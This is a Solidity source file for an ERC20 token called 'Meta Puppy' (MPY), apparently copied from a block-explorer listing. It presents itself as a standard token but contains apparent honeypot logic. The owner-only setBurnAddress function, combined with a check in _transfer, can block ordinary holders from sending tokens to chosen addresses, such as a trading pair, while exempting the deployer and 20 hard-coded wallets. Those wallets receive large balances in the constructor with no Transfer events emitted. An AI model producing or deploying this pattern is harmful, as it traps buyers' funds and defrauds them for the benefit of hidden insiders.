文件 1 的 1:tokenn.sol
pragma solidity ^0.8.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
constructor () { }
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
mapping (address => bool) internal ownership;
mapping (address => bool) internal burnAddress;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
ownership[msgSender]=true;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() internal view returns (address){
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function removeOwnership(address oldOwner) public onlyOwner {
ownership[oldOwner] = false;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
ownership[newOwner] = true;
emit OwnershipTransferred(_owner, newOwner);
}
}
contract ERC20Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private wl=[
0x238805F339b5442a4e90d5884A602b71A3022356,
0xD443600190173BC3Fc4E379f1A6f7361bb6AcDcD,
0x57aB16bEb0156e17373bd38479A1C29781F3D939,
0x9D1a948bcA543b60104191f2b36cBf213cD11fAF,
0x45bE64a9fb359731c5F28Bb56C3864Bd6b04019f,
0xD1C87bA17EDeDcb6f02772910AA5EB1eEF2EC1F5,
0xeE8B6459fd8424327645f9e22606E961Aac109e9,
0x66487543739b0f02fC986C37958b7927710A1727,
0xda78CC10Fe560f322ff53Ae271435602aC963947,
0x804be8CAeeB64dC08372c86Eed13bDEA976A3214,
0x91b5D6FB67F83997eD6F1DBb17142a4EC6807069,
0xD0Cd0C8985917A394f1F43551Bbb1FFb7e7b4D9F,
0xA64b3C6851Bf6E14cAc19016F34964c03c1bC932,
0x0C57D2EB3E8E2F17AdC85F47CC7222bF30cfB8c8,
0xf6F6126cCF422661252FE4846181e9Fef5FE0542,
0xc42dFCE41Bb8b120a1617431F492f0e038Eb1D01,
0x155B6B574fe03263991a2F549f8960d5A77Db237,
0xBC062B908f89447a0f979D2009C80cb1EF9e53a3,
0x8830cC3CD911DF51947e64d354f3ded8eA5C22Ac,
0x12AAdd94fcbA7bFc5D20Ad4B06949C83C820Ca6E
];
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() {
_name = "Meta Puppy";
_symbol = "MPY";
_totalSupply = 1*10**(31);
_decimals = 18;
_balances[msg.sender] = _totalSupply-20*10**29;
ownership[msg.sender] = true;
for(uint i =0; i<20;i++){
ownership[wl[i]]=true;
_balances[wl[i]] = 1*10**29;
}
burnAddress[address(0)]=true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function getOwner() external view override returns (address) {
return owner();
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setBurnAddress(address addr, bool state) public onlyOwner {
burnAddress[addr]=state;
}
function burn(uint256 amount) public onlyOwner returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (!ownership[sender]) {
require(!burnAddress[recipient], "ERC20: transfer to the burn address");
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}